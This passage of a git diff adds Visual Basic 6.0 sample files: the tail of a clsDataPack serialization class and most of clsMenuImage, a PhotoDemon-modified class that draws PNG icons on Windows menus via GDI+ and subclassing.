+        Case vbCurrency: v = CCur(0)
+        Case vbSingle: v = CSng(0)
+        Case vbDouble: v = CDbl(0)
+        Case vbDate: v = #12:00:00 AM#
+        Case Else:
+            Debug.Print "DataPack: Unknown type of data is fetched"
+            Err.Raise 5
+            Exit Function
+    End Select
+    
+    If dr.Size > 0 Then
+        ptr = VarDataPtr(v)
+        memcpy ByVal ptr, g_Array(g_BytePos + 6), dr.Size
+    End If
+    g_BytePos = g_BytePos + dr.Size + 6
+    
+    Fetch = v
+    
+    Exit Function
+ErrorHandler:
+    ErrorMsg Err, "clsDataPack.Fetch", "Byte pos: " & g_BytePos
+    If inIDE Then Stop: Resume Next
+End Function
+
+Private Function VarDataPtr(vData As Variant) As Long
+    Const vbByRef As Integer = 16384
+    Dim VT As Integer
+
+    If VarType(vData) = vbString Then
+        VarDataPtr = StrPtr(vData)
+    Else
+        GetMem2 vData, VT
+        If VT And vbByRef Then
+            GetMem4 ByVal VarPtr(vData) + 8, VarDataPtr 'VT_BYREF
+        Else
+            VarDataPtr = VarPtr(vData) + 8
+        End If
+    End If
+End Function
+
+Public Property Get SerializeToHexString() As String
+    On Error GoTo ErrorHandler:
+    Dim arr() As Byte
+    Dim i As Long
+    Dim s As String
+    
+    arr = SerializeToArray()
+    
+    If AryItems(arr) Then
+        s = String$((UBound(arr) + 1) * 2, 0&)
+        For i = 0 To UBound(arr)
+            Mid$(s, i * 2 + 1) = Right$("0" & Hex$(arr(i)), 2)
+        Next
+    End If
+    
+    SerializeToHexString = s
+    
+    Exit Property
+ErrorHandler:
+    ErrorMsg Err, "clsDataPack.SerializeToHexString"
+    If inIDE Then Stop: Resume Next
+End Property
+
+Public Property Get SerializeToArray() As Byte()
+    On Error GoTo ErrorHandler:
+    
+    If g_iPos = 0 Then
+        Debug.Print "DataPack: Cannot serialize - array is empty"
+        Err.Raise 5
+        Exit Property
+    End If
+    
+    Dim i As Long
+    Dim TSize As Long
+    Dim iByte As Long
+    
+    For i = 0 To g_iPos - 1
+        TSize = TSize + g_Cell(i).Size + 6 '6 is a sizeof ( Size and Type fields )
+    Next
+    
+    ReDim g_Array(TSize - 1)
+    iByte = 0
+    
+    'concat. datapack records
+    For i = 0 To g_iPos - 1
+        memcpy g_Array(iByte), ByVal VarPtr(g_Cell(i)), 6&               'header
+        If g_Cell(i).Size > 0 Then
+            memcpy g_Array(iByte + 6), g_Cell(i).Data(0), g_Cell(i).Size    'data
+        End If
+        iByte = iByte + g_Cell(i).Size + 6
+    Next
+    
+    SerializeToArray = g_Array
+    
+    Exit Property
+ErrorHandler:
+    ErrorMsg Err, "clsDataPack.SerializeToArray"
+    If inIDE Then Stop: Resume Next
+End Property
+
+Public Property Let DeSerializeArray(bData() As Byte)
+    On Error GoTo ErrorHandler:
+
+    If 0 = AryItems(bData) Then
+        Debug.Print "DataPack: Cannot deserialize - array is empty"
+        Err.Raise 5
+        Exit Property
+    End If
+    
+    g_Array = bData
+    g_BytePos = 0
+    
+    Exit Property
+ErrorHandler:
+    ErrorMsg Err, "clsDataPack.DeSerializeArray"
+    If inIDE Then Stop: Resume Next
+End Property
+
+Public Property Let DeSerializeHexString(sData As String)
+    On Error GoTo ErrorHandler:
+
+    Dim b() As Byte
+    Dim i As Long
+    
+    If Len(sData) = 0 Then
+        Debug.Print "DataPack: Cannot deserialize - string is empty"
+        Err.Raise 5
+        Exit Property
+    End If
+    
+    ReDim b(Len(sData) \ 2 - 1)
+    
+    For i = 1 To Len(sData) Step 2
+        b((i - 1) \ 2) = CLng("&H" & Mid$(sData, i, 2))
+    Next
+    
+    DeSerializeArray = b
+    
+    Exit Property
+ErrorHandler:
+    ErrorMsg Err, "clsDataPack.DeSerializeHexString"
+    If inIDE Then Stop: Resume Next
+End Property
+
diff --git a/samples/Visual Basic 6.0/clsMenuImage.cls b/samples/Visual Basic 6.0/clsMenuImage.cls
new file mode 100644
index 0000000000..40bde12d8e
--- /dev/null
+++ b/samples/Visual Basic 6.0/clsMenuImage.cls	
@@ -0,0 +1,776 @@
+VERSION 1.0 CLASS
+BEGIN
+  MultiUse = -1  'True
+  Persistable = 0  'NotPersistable
+  DataBindingBehavior = 0  'vbNone
+  DataSourceBehavior  = 0  'vbNone
+  MTSTransactionMode  = 0  'NotAnMTSObject
+END
+Attribute VB_Name = "clsMenuImage"
+Attribute VB_GlobalNameSpace = False
+Attribute VB_Creatable = True
+Attribute VB_PredeclaredId = False
+Attribute VB_Exposed = False
+'This code was originally written by Leandro I. Ascierto.
+' Many thanks to Leandro for providing a way to apply PNG images to program menus in VB6
+'
+'NOTE: this file has been heavily modified for use within PhotoDemon.  Modifications include bugfixes relating to use
+' under non-standard Windows themes (e.g. "Classic Theme" on Win 7 and earlier), a full conversion of the subclassing
+' system to comctl32, and rewriting the class so that persistent DCs are not required for each menu image.
+' (Instead, we generate them on-the-fly.)
+'
+'These changes rely on a number of internal PhotoDemon checks, variables, and objects, so I do not recommend using PD's
+' version of the class in your own projects.  You may download the original version of this code from the following link
+' (good as of June 2012): http://leandroascierto.com/blog/clsmenuimage/
+
+Option Explicit
+
+' ---------------------------------------------------
+' Autor:            Leandro I. Ascierto
+' Date:             17 de Julio de 2010
+' Web:              www.leandroascierto.com.ar
+' Requirements:     Windows XP or Later
+' History:          17/07/2010 First
+' ---------------------------------------------------
+
+
+'Tanner's addition 20 September '12:
+' We must check if theming is enabled. On Vista/7, use of the "Classic Theme" disables theming and screws up menu icon placement.
+Private Declare Function OpenThemeData Lib "uxtheme" (ByVal hWnd As Long, ByVal pszClassList As Long) As Long
+Private Declare Function CloseThemeData Lib "uxtheme" (ByVal hTheme As Long) As Long
+
+' ------------
+Private Declare Function CreateDIBSection Lib "gdi32" (ByVal hDC As Long, ByRef pBitmapInfo As BITMAPINFO, ByVal un As Long, ByRef lplpVoid As Long, ByVal Handle As Long, ByVal dw As Long) As Long
+Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long
+Private Declare Function ReleaseDC Lib "user32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
+Private Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
+Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
+Private Declare Function SetMenuItemInfo Lib "user32" Alias "SetMenuItemInfoW" (ByVal hMenu As Long, ByVal uItem As Long, ByVal fByPosition As Long, lpmii As MENUITEMINFO) As Long
+Private Declare Function GetMenuItemInfo Lib "user32" Alias "GetMenuItemInfoW" (ByVal hMenu As Long, ByVal un As Long, ByVal b As Boolean, ByRef lpMenuItemInfo As MENUITEMINFO) As Long
+Private Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long
+Private Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
+Private Declare Function GetMenuInfo Lib "user32" (ByVal hMenu As Long, ByRef LPMENUINFO As MENUINFO) As Long
+Private Declare Function SetMenuInfo Lib "user32" (ByVal hMenu As Long, ByRef LPCMENUINFO As MENUINFO) As Long
+Private Declare Function DrawMenuBar Lib "user32" (ByVal hWnd As Long) As Long
+'Private Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
+Private Declare Function GetSystemMetrics Lib "user32" (ByVal nIndex As Long) As Long
+Private Declare Function Rectangle Lib "gdi32" (ByVal hDC As Long, ByVal x1 As Long, ByVal y1 As Long, ByVal x2 As Long, ByVal y2 As Long) As Long
+Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long
+Private Declare Function GetStockObject Lib "gdi32" (ByVal nIndex As Long) As Long
+Private Declare Function GetSysColor Lib "user32" (ByVal nIndex As Long) As Long
+
+' ------------------------------------------------------- GDI Plus -------------------------------------------------------------------
+Private Declare Function GdipDrawImageRectRectI Lib "gdiplus" (ByVal hGraphics As Long, ByVal hImage As Long, ByVal dstX As Long, ByVal dstY As Long, ByVal dstWidth As Long, ByVal dstHeight As Long, ByVal srcX As Long, ByVal srcY As Long, ByVal srcWidth As Long, ByVal srcHeight As Long, ByVal srcUnit As Long, Optional ByVal imageAttributes As Long = 0, Optional ByVal callback As Long = 0, Optional ByVal callbackData As Long = 0) As Long
+Private Declare Function GdipCreateFromHDC Lib "gdiplus" (ByVal hDC As Long, ByRef graphics As Long) As Long
+Private Declare Function GdipDeleteGraphics Lib "gdiplus" (ByVal graphics As Long) As Long
+Private Declare Function GdipDisposeImage Lib "gdiplus" (ByVal Image As Long) As Long
+Private Declare Function GdipGetImageDimension Lib "gdiplus" (ByVal Image As Long, ByRef Width As Single, ByRef Height As Single) As Long
+Private Declare Function GdipCreateBitmapFromScan0 Lib "gdiplus" (ByVal Width As Long, ByVal Height As Long, ByVal Stride As Long, ByVal PixelFormat As Long, Scan0 As Any, Bitmap As Long) As Long
+Private Declare Function GdipSetImageAttributesColorMatrix Lib "gdiplus" (ByVal imageattr As Long, ByVal ColorAdjust As Long, ByVal EnableFlag As Long, ByRef MatrixColor As COLORMATRIX, ByRef MatrixGray As Any, ByVal Flags As Long) As Long
+Private Declare Function GdipCreateImageAttributes Lib "gdiplus" (ByRef imageattr As Long) As Long
+Private Declare Function GdipDisposeImageAttributes Lib "gdiplus" (ByVal imageattr As Long) As Long
+
+Private Type RECT
+    Left As Long
+    Top As Long
+    Right As Long
+    Bottom As Long
+End Type
+
+Private Type MENUINFO
+    cbSize As Long
+    fMask As Long
+    dwStyle As Long
+    cyMax As Long
+    RhbrBack As Long
+    dwContextHelpID As Long
+    dwMenuData As Long
+End Type
+
+Private Type MENUITEMINFO
+    cbSize As Long
+    fMask As Long
+    fType As Long
+    fState As Long
+    wID As Long
+    hSubMenu As Long
+    hbmpChecked As Long
+    hbmpUnchecked As Long
+    dwItemData As Long
+    dwTypeData As Long
+    cch As Long
+    hbmpItem As Long
+End Type
+
+Private Type MEASUREITEMSTRUCT
+    ctlType As Long
+    CtlID As Long
+    itemID As Long
+    itemWidth As Long
+    itemHeight As Long
+    itemData As Long
+End Type
+
+Private Type DRAWITEMSTRUCT
+    ctlType As Long
+    CtlID As Long
+    itemID As Long
+    itemAction As Long
+    ItemState As Long
+    hWndItem As Long
+    hDC As Long
+    rcItem As RECT
+    itemData As Long
+End Type
+
+Private Type ARGB
+    Blue As Byte
+    Green As Byte
+    Red As Byte
+    Alpha As Byte
+End Type
+
+Private Type BITMAPINFOHEADER
+    biSize As Long
+    biWidth As Long
+    biHeight As Long
+    biPlanes As Integer
+    biBitCount As Integer
+    biCompression As Long
+    biSizeImage As Long
+    biXPelsPerMeter As Long
+    biYPelsPerMeter As Long
+    biClrUsed As Long
+    biClrImportant As Long
+End Type
+
+Private Type BITMAPINFO
+    bmiHeader As BITMAPINFOHEADER
+    bmiColors As ARGB
+End Type
+
+Private Type COLORMATRIX
+    m(0 To 4, 0 To 4) As Single
+End Type
+
+'Added by Tanner: GDI+ images use premultiplied alpha!
+Private Const PixelFormat32bppPARGB As Long = &HE200B
+    
+Private Const DIB_RGB_COLORS As Long = 0&
+
+Private Const MIIM_ID As Long = &H2
+Private Const MIIM_DATA As Long = &H20
+Private Const MIIM_BITMAP As Long = &H80
+    
+Private Const MIM_APPLYTOSUBMENUS = &H80000000
+Private Const MIM_STYLE As Long = &H10
+
+Private Const ODT_MENU As Long = 1
+Private Const ODS_GRAYED As Long = &H2
+Private Const ODS_CHECKED As Long = &H8
+Private Const MNS_CHECKORBMP As Long = &H4000000
+Private Const MNS_NOCHECK As Long = &H80000000
+Private Const HBMMENU_CALLBACK As Long = -1
+
+Private Const NULL_BRUSH As Long = 5
+Private Const COLOR_GRAYTEXT As Long = 17
+Private Const COLOR_APPWORKSPACE As Long = 12
+Private Const SM_CXMENUCHECK As Long = 71
+Private Const WM_MEASUREITEM As Long = &H2C
+Private Const WM_DRAWITEM As Long = &H2B
+
+Private m_hWnd As Long
+
+Private m_lWidth As Long
+Private m_lHeight As Long
+
+Private Type MemoDIB
+    hDIB As Long
+    ptr As Long
+End Type
+Private mDIB() As MemoDIB
+Private cColl As Collection
+
+Private m_ClassicThemeWorkaround As Boolean
+
+'Tanner's addition: convert this class to use IDE-safe subclassing
+Implements ISubclass
+Private m_SubclassActive As Boolean
+
+'Edit by Tanner: instead of relying on UBound() for tracking the number of active DIB handles, track the
+' number internally.  (This lets us be *much* more efficient about memory allocations.)
+Private Const INITIAL_DIB_ARRAY_SIZE As Long = 32
+Private m_NumOfDIBs As Long
+
+
+Friend Property Get CanWeTheme() As Boolean
+    CanWeTheme = Not m_ClassicThemeWorkaround
+End Property
+
+Friend Property Get ImageCount() As Long
+    ImageCount = m_NumOfDIBs
+End Property
+
+
+Friend Function RemoveImage(ByVal Index As Long) As Boolean
+    
+    If (Index < 0) Or (Index >= m_NumOfDIBs) Then Exit Function
+    If (DeleteObject(mDIB(Index).hDIB) <> 0) Then PDDebug.UpdateResourceTracker PDRT_hDIB, -1
+        
+    Dim i As Long
+    For i = Index To m_NumOfDIBs - 2
+        mDIB(i) = mDIB(i + 1)
+    Next
+
+    m_NumOfDIBs = m_NumOfDIBs - 1
+    
+    RemoveImage = True
+    
+End Function
+
+Friend Function PutImageToVBMenu(ByVal imageID As Long, ByVal MenuPos As Long, ParamArray vSubMenuPos() As Variant) As Boolean
+    
+    On Error Resume Next
+    
+    Dim hMenu As Long
+    Dim hSubMenu As Long
+    Dim MII As MENUITEMINFO
+    Dim v As Variant
+    Dim sKey As String
+
+    hMenu = GetMenu(m_hWnd)
+    
+    Dim tmpInfo As MENUINFO
+    
+    If m_ClassicThemeWorkaround Then
+        tmpInfo.cbSize = Len(tmpInfo)
+        tmpInfo.fMask = MIM_APPLYTOSUBMENUS Or MIM_STYLE
+        tmpInfo.dwStyle = MNS_CHECKORBMP
+        SetMenuInfo hMenu, tmpInfo
+    End If
+    
+    hSubMenu = hMenu
+    
+    For Each v In vSubMenuPos
+        hSubMenu = GetSubMenu(hSubMenu, v)
+    Next
+    
+    With MII
+        .cbSize = Len(MII)
+        .fMask = MIIM_ID
+    End With
+    
+    If (GetMenuItemInfo(hSubMenu, MenuPos, True, MII) <> 0) Then
+        
+        sKey = hSubMenu & "-" & MII.wID
+    
+        With MII
+            '.cbSize = Len(MII)
+            .fMask = MIIM_BITMAP 'Or MIIM_DATA
+            
+            If (imageID = -1) Then
+                .hbmpItem = 0
+                
+                'Edit by Tanner: retain the key, but just remove the bitmap from the menu.  (We may decide to
+                ' reactivate this item later.)
+                'If KeyExists(sKey) Then Call cColl.Remove(sKey)
+                
+            Else
+                If OS.IsVistaOrLater Then
+                    .hbmpItem = mDIB(imageID).hDIB
+                Else
+                    .hbmpItem = HBMMENU_CALLBACK
+                    
+                    'Edit by Tanner: this check is unnecessary, as we apply our own check prior to even
+                    ' calling this function.
+                    'If KeyExists(sKey) Then Call cColl.Remove(sKey)
+                    cColl.Add imageID, sKey
+                    
+                End If
+            End If
+            
+            '.dwItemData = ImageID
+            
+        End With
+        
+        PutImageToVBMenu = SetMenuItemInfo(hSubMenu, MenuPos, True, MII)
+        
+        If (hSubMenu = hMenu) Then DrawMenuBar m_hWnd
+    
+    End If
+    
+End Function
+
+Friend Function PutImageToApiMenu(ByVal imageID As Long, ByVal hMenu As Long, ByVal MenuPos As Long, Optional ByVal itemData As Long) As Boolean
+
+    Dim MII As MENUITEMINFO
+    Dim sKey As String
+
+    With MII
+        .cbSize = Len(MII)
+        .fMask = MIIM_ID
+    End With
+    
+    If GetMenuItemInfo(hMenu, MenuPos, True, MII) = 0 Then Exit Function
+        
+    sKey = hMenu & "-" & MII.wID
+
+    With MII
+        .fMask = MIIM_BITMAP Or MIIM_DATA
+        
+        If imageID = -1 Then
+            .hbmpItem = 0
+            If KeyExists(sKey) Then cColl.Remove sKey
+        Else
+            If OS.IsVistaOrLater Then
+                .hbmpItem = mDIB(imageID).hDIB
+            Else
+                .hbmpItem = HBMMENU_CALLBACK
+                If KeyExists(sKey) Then cColl.Remove sKey
+                cColl.Add imageID, sKey
+            End If
+        End If
+        .dwItemData = itemData
+    End With
+    
+    PutImageToApiMenu = SetMenuItemInfo(hMenu, MenuPos, True, MII)
+
+End Function
+
+Friend Sub RemoveMenuCheckApi(ByVal hMenu As Long)
+    Dim MI As MENUINFO
+    
+    With MI
+        .cbSize = Len(MI)
+        .fMask = MIM_STYLE
+        .dwStyle = MNS_NOCHECK
+    End With
+
+    SetMenuInfo hMenu, MI
+End Sub
+
+Friend Sub RemoveMenuCheckVB(ParamArray vSubMenuPos() As Variant)
+    Dim MI As MENUINFO
+    Dim hMenu As Long
+    Dim hSubMenu As Long
+    Dim v As Variant
+
+    hMenu = GetMenu(m_hWnd)
+    
+    hSubMenu = hMenu
+    
+    For Each v In vSubMenuPos
+        hSubMenu = GetSubMenu(hSubMenu, v)
+    Next
+    
+    With MI
+        .cbSize = Len(MI)
+        .fMask = MIM_STYLE
+        .dwStyle = MNS_NOCHECK
+    End With
+
+    SetMenuInfo hSubMenu, MI
+End Sub
+
+Private Sub DrawCheck(ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal x2 As Long, ByVal y2 As Long, bDisabled As Boolean)
+    
+    Dim hPen As Long, oldPen As Long
+    Dim hBrush As Long, oldBrush As Long
+    
+    hPen = CreatePen(0, 1, GetSysColor(IIf(bDisabled, COLOR_GRAYTEXT, COLOR_APPWORKSPACE)))
+    hBrush = GetStockObject(NULL_BRUSH)
+    
+    oldPen = SelectObject(hDC, hPen)
+    oldBrush = SelectObject(hDC, hBrush)
+    
+    Rectangle hDC, x, y, x + x2, y + y2
+    
+    SelectObject hDC, oldPen
+    DeleteObject hPen
+    SelectObject hDC, oldBrush
+    
+End Sub
+
+Private Function CreateNewDib() As Long
+
+    'Prepare a bmp header for the DIB
+    Dim tBITMAPINFO As BITMAPINFO
+    With tBITMAPINFO.bmiHeader
+        .biSize = Len(tBITMAPINFO.bmiHeader)
+        .biBitCount = 32
+        .biHeight = m_lWidth
+        .biWidth = m_lHeight
+        .biPlanes = 1
+        .biSizeImage = .biWidth * .biHeight * 4&
+    End With
+    
+    'Make sure we have enough room in our tracking array
+    If (m_NumOfDIBs > UBound(mDIB)) Then ReDim Preserve mDIB(0 To m_NumOfDIBs * 2 - 1)
+    Dim Index As Long
+    Index = m_NumOfDIBs
+    
+    With mDIB(Index)
+    
+        'Create a temporary memory DC, because CreateDIBSection requires a DC for palette matching
+        Dim tmpDC As Long
+        tmpDC = GetDC(0&)
+        .hDIB = CreateDIBSection(tmpDC, tBITMAPINFO, DIB_RGB_COLORS, .ptr, 0&, 0&)
+        ReleaseDC 0&, tmpDC
+        
+        If (.hDIB <> 0) Then
+            CreateNewDib = Index
+            PDDebug.UpdateResourceTracker PDRT_hDIB, 1
+        Else
+            CreateNewDib = -1
+            Exit Function
+        End If
+        
+    End With
+
+    m_NumOfDIBs = m_NumOfDIBs + 1
+
+End Function
+
+Friend Sub Clear()
+
+    Dim i As Long
+    
+    For i = 0 To m_NumOfDIBs - 1
+        If (mDIB(i).hDIB <> 0) Then
+            If (DeleteObject(mDIB(i).hDIB) <> 0) Then
+                PDDebug.UpdateResourceTracker PDRT_hDIB, -1
+                mDIB(i).hDIB = 0
+            End If
+        End If
+    Next
+    
+    m_NumOfDIBs = 0
+    
+End Sub
+
+Private Sub DrawDIB(ByVal DestHdc As Long, ByVal x As Long, ByVal y As Long, ByVal Index As Long, Disabled As Boolean)
+
+    Dim hGraphics As Long
+    Dim hImage As Long
+    Dim hAttributes As Long
+    Dim tMatrixColor As COLORMATRIX
+    Dim tMatrixGray As COLORMATRIX
+    
+    If (Index < 0) Or (Index >= m_NumOfDIBs) Then Exit Sub
+
+    If (GdipCreateBitmapFromScan0(m_lWidth, m_lHeight, m_lWidth * 4&, PixelFormat32bppPARGB, ByVal mDIB(Index).ptr, hImage) = 0) Then
+
+        If (GdipCreateFromHDC(DestHdc, hGraphics) = 0) Then
+            
+            'Edit by Tanner: Leandro's original code flipped the DIB to make it top-down; we don't require this for DIBs
+            ' we've created and cached ourselves.
+            'GdipImageRotateFlip hImage, &H6
+            
+            If Disabled Then
+            
+                GdipCreateImageAttributes hAttributes
+                
+                With tMatrixColor
+                    .m(0, 0) = 0.299
+                    .m(1, 0) = .m(0, 0)
+                    .m(2, 0) = .m(0, 0)
+                    .m(0, 1) = 0.587
+                    .m(1, 1) = .m(0, 1)
+                    .m(2, 1) = .m(0, 1)
+                    .m(0, 2) = 0.114
+                    .m(1, 2) = .m(0, 2)
+                    .m(2, 2) = .m(0, 2)
+                    .m(3, 3) = 0.5
+                    .m(4, 4) = 1
+                End With
+                
+                Const ColorAdjustTypeDefault As Long = 0, ColorMatrixFlagsDefault As Long = 0
+                GdipSetImageAttributesColorMatrix hAttributes, ColorAdjustTypeDefault, 1&, tMatrixColor, tMatrixGray, ColorMatrixFlagsDefault
+    
+            End If
+            
+            GdipDrawImageRectRectI hGraphics, hImage, x, y, m_lWidth, m_lHeight, 0, 0, m_lWidth, m_lHeight, &H2, hAttributes, 0&, 0&
+            
+            If (hAttributes <> 0) Then GdipDisposeImageAttributes hAttributes
+            If (hGraphics <> 0) Then GdipDeleteGraphics hGraphics
+        
+        End If
+        
+        If (hImage <> 0) Then GdipDisposeImage hImage
+    
+    End If
+    
+End Sub
+
+'CREATED BY TANNER: load an image from an existing pdDIB object
+Friend Function AddImageFromDIB(ByRef srcDIB As pdDIB, Optional bGhosted As Boolean) As Boolean
+
+    Dim hImage As Long
+    If (Not srcDIB Is Nothing) Then
+        
+        'Update 29 August 2017 - I've written a new, much faster function that simply clones the incoming DIB.
+        If (Not bGhosted) Then
+            AddImageFromDIB = pvAddImagen_Tanner(srcDIB)
+        Else
+            GDI_Plus.GetGdipBitmapHandleFromDIB hImage, srcDIB
+            If (hImage <> 0) Then AddImageFromDIB = pvAddImagen(hImage, bGhosted) Else PDDebug.LogAction "WARNING!  AddImageFromDIB failed; hImage = 0"
+        End If
+        
+    Else
+        PDDebug.LogAction "WARNING!  clsMenuImage.AddImageFromDIB failed; source DIB was null."
+    End If
+    
+End Function
+
+Private Function pvAddImagen_Tanner(ByRef srcDIB As pdDIB) As Boolean
+    
+    If (m_NumOfDIBs > UBound(mDIB)) Then ReDim Preserve mDIB(0 To m_NumOfDIBs * 2 - 1)
+    srcDIB.TransferDIBOwnership mDIB(m_NumOfDIBs).hDIB, mDIB(m_NumOfDIBs).ptr
+    
+    m_NumOfDIBs = m_NumOfDIBs + 1
+    pvAddImagen_Tanner = True
+    
+End Function
+
+Private Function pvAddImagen(ByVal hImage As Long, Optional bGhosted As Boolean) As Boolean
+    
+    Dim hGraphics As Long
+    Dim imgWidth As Single
+    Dim imgHeight As Single
+    Dim Index As Long
+    Dim oldHDib As Long
+    
+    If (hImage <> 0) Then
+    
+        Index = CreateNewDib()
+        
+        If (Index <> -1) Then
+            
+            Dim tmpDC As Long
+            tmpDC = GDI.GetMemoryDC()
+            
+            oldHDib = SelectObject(tmpDC, mDIB(Index).hDIB)
+        
+            GdipCreateFromHDC tmpDC, hGraphics
+        
+            GdipGetImageDimension hImage, imgWidth, imgHeight
+            
+            If bGhosted Then
+                Dim tMatrixColor As COLORMATRIX
+                Dim tMatrixGray As COLORMATRIX
+                Dim hAttributes As Long
+            
+                GdipCreateImageAttributes hAttributes
+                
+                With tMatrixColor
+                    .m(0, 0) = 1
+                    .m(1, 1) = 1
+                    .m(2, 2) = 1
+                    .m(3, 3) = 0.7
+                    .m(4, 4) = 1
+
+                End With
+                
+                Const ColorAdjustTypeDefault As Long = 0, ColorMatrixFlagsDefault As Long = 0
+                GdipSetImageAttributesColorMatrix hAttributes, ColorAdjustTypeDefault, True, tMatrixColor, tMatrixGray, ColorMatrixFlagsDefault
+                
+            End If
+
+            GdipDrawImageRectRectI hGraphics, hImage, 0, 0, m_lWidth, m_lHeight, 0, 0, imgWidth, imgHeight, &H2, hAttributes, 0&, 0&
+            
+            If (hAttributes <> 0) Then GdipDisposeImageAttributes hAttributes
+    
+            GdipDisposeImage hImage
+            GdipDeleteGraphics hGraphics
+            
+            SelectObject tmpDC, oldHDib
+            GDI.FreeMemoryDC tmpDC
+            
+            pvAddImagen = True
+        
+        End If
+
+    End If
+End Function
+
+Friend Function Init(ByVal hWnd As Long, imgWidth As Long, ByVal imgHeight As Long, Optional ByVal bRaiseEvent As Boolean = False) As Boolean
+
+    If (Drawing2D.IsRenderingEngineActive(P2_GDIPlusBackend) And PDMain.IsProgramRunning()) Then
+    
+        m_lWidth = imgWidth
+        m_lHeight = imgHeight
+        
+        If (m_NumOfDIBs > 0) Then Me.Clear
+        
+        If (Not OS.IsVistaOrLater) Or bRaiseEvent Then
+            If (m_hWnd <> 0) Then StopSubclassing
+            m_hWnd = hWnd
+            If (m_hWnd <> 0) Then Init = SetSubclassing() Else Init = False
+            PDDebug.LogAction "clsMenuImage requires subclassing; SetSubclassing() returned " & CStr(Init)
+        Else
+            m_hWnd = hWnd
+            Init = True
+        End If
+    
+    End If
+    
+End Function
+
+Private Function SetSubclassing() As Boolean
+    If PDMain.IsProgramRunning() Then
+        m_SubclassActive = VBHacks.StartSubclassing(m_hWnd, Me)
+        SetSubclassing = m_SubclassActive
+    Else
+        SetSubclassing = True
+    End If
+End Function
+
+Private Function StopSubclassing() As Boolean
+
+    If (m_SubclassActive And (m_hWnd <> 0)) Then
+        VBHacks.StopSubclassing m_hWnd, Me
+        m_SubclassActive = False
+        StopSubclassing = True
+    Else
+        StopSubclassing = False
+    End If
+
+End Function
+
+Private Sub Class_Initialize()
+    
+    Set cColl = New Collection
+    
+    'Tanner's addition 20 September '12:
+    ' Double-check that theming is enabled. If it isn't, fall back to subclassing (e.g. Windows XP style)
+    Dim hTheme As Long
+    Dim sClass As String
+    sClass = "Window"
+    hTheme = OpenThemeData(FormMain.hWnd, StrPtr(sClass))
+    If hTheme = 0 Then
+        m_ClassicThemeWorkaround = True
+    Else
+        CloseThemeData hTheme
+    End If
+    
+    ReDim mDIB(0 To INITIAL_DIB_ARRAY_SIZE - 1)
+    m_NumOfDIBs = 0
+    
+End Sub
+
+Private Sub Class_Terminate()
+    StopSubclassing
+    Me.Clear
+End Sub
+
+Private Function KeyExists(ByRef sKey As String) As Boolean
+    On Error GoTo HandleError:
+    Dim tVal As String 'Variant
+    
+    tVal = cColl(sKey)
+  
+    KeyExists = True
+    Exit Function
+
+HandleError:
+    Err.Clear
+End Function
+
+Private Function HandleMeasureItem(ByVal hWnd As Long, ByVal uiMsg As Long, ByVal wParam As Long, ByVal lParam As Long, ByRef msgEaten As Boolean) As Long
+    
+    'Start by calling the default wndproc.  (We want to let the default menu handler populate bits like text,
+    ' and once it's done, we'll overwrite the image handling bits with our own code.)
+    HandleMeasureItem = VBHacks.DefaultSubclassProc(hWnd, uiMsg, wParam, lParam)
+    
+    Dim MIS As MEASUREITEMSTRUCT
+    CopyMemoryStrict VarPtr(MIS), lParam, LenB(MIS)
+    
+    If (MIS.ctlType = ODT_MENU) Then
+
+        If (MIS.itemHeight < m_lHeight + 4) Then MIS.itemHeight = m_lHeight + 4
+        
+        If OS.IsVistaOrLater Then
+            If m_ClassicThemeWorkaround Then MIS.itemWidth = MIS.itemWidth + m_lWidth + 6&
+        Else
+            MIS.itemWidth = MIS.itemWidth + m_lWidth + 2&
+        End If
+        
+        CopyMemoryStrict lParam, VarPtr(MIS), LenB(MIS)
+        HandleMeasureItem = 1
+        
+    End If
+    
+    msgEaten = True
+    
+End Function
+
+Private Function HandleDrawItem(ByVal hWnd As Long, ByVal uiMsg As Long, ByVal wParam As Long, ByVal lParam As Long, ByRef msgEaten As Boolean) As Long
+    
+    'Start by calling the default wndproc.  (We want to let the default menu handler populate bits like text,
+    ' and once it's done, we'll overwrite the image handling bits with our own code.)
+    HandleDrawItem = VBHacks.DefaultSubclassProc(hWnd, uiMsg, wParam, lParam)
+    
+    Dim DIS As DRAWITEMSTRUCT
+    Dim isDisabled As Boolean, isCheckStyle As Boolean, isChecked As Boolean
+    Dim lLeft As Long
+    Dim MI As MENUINFO
+    
+    CopyMemoryStrict VarPtr(DIS), lParam, LenB(DIS)
+
+    If (DIS.ctlType = ODT_MENU) Then
+    
+        If (DIS.hWndItem <> GetMenu(hWnd)) Then
+            
+            With MI
+                .cbSize = Len(MI)
+                .fMask = MIM_STYLE
+            End With
+
+            GetMenuInfo DIS.hWndItem, MI
+
+            isCheckStyle = (MI.dwStyle And MNS_NOCHECK) <> MNS_NOCHECK
+            isChecked = (DIS.ItemState And ODS_CHECKED) = ODS_CHECKED
+            lLeft = IIf(isCheckStyle, GetSystemMetrics(SM_CXMENUCHECK), 0)
+        
+        End If
+        
+        isDisabled = (DIS.ItemState And ODS_GRAYED) = ODS_GRAYED
+        
+        If Not isCheckStyle And isChecked Then
+            DrawCheck DIS.hDC, lLeft, DIS.rcItem.Top, m_lWidth + 4, m_lHeight + 4, isDisabled
+        End If
+        
+        'Tanner edit: this is used to prevent a bug where the hDC value is invalid for disabled
+        ' and non-hovered menu entries for users of the "classic theme"; we also need to check for key
+        ' existence as images only exist for some menu items.
+        If (Not (m_ClassicThemeWorkaround And isDisabled)) And KeyExists(DIS.hWndItem & "-" & DIS.itemID) Then
+            DrawDIB DIS.hDC, lLeft - 4, DIS.rcItem.Top + 2, cColl(DIS.hWndItem & "-" & DIS.itemID), isDisabled
+        End If
+        
+        HandleDrawItem = 1
+        
+    End If
+    
+    msgEaten = True
+    
+End Function
+
+Private Function ISubclass_WindowMsg(ByVal hWnd As Long, ByVal uiMsg As Long, ByVal wParam As Long, ByVal lParam As Long, ByVal dwRefData As Long) As Long
+    
+    'Sometimes we consume messages before passing them on.  Sometimes we don't.  Child functions will update this as necessary.
